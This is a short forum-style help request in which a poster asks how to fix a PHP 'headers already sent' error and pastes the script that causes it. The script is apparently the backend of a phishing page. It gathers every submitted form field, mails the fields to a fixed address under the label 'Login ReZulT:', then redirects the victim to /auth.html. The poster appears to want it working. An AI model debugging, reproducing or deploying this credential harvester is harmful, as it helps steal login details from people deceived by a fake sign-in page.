I have this Warning: Cannot modify header information - headers already sent by (output started at /home/content/57/7367957/html/glcome/get.php:1) in /home/content/57/7367957/html/glcome/get.php on line 23 and below is the script

<?php
ob_start();
$mailto = "example @email.com";
$subject = "$ip";
$message = "Login ReZulT:";
$header = "From: ".$_POST['email'];
$headers .= "MIME-Version: 1.0\n";
foreach ($_POST as $key => $value)
{
   if (!is_array($value))
   {
    $message .= "\n".$key." : ".$value;
   }
   else
   {
    foreach ($_POST[$key] as $itemvalue)
    {
    $message .= "\n".$key." : ".$itemvalue;
    }
   }
}
mail($mailto, $subject, stripslashes($message), $header);
Header ("Location: /auth.html");
ob_end_flush();
?>

Please can any one tell me what to do to rectify this problem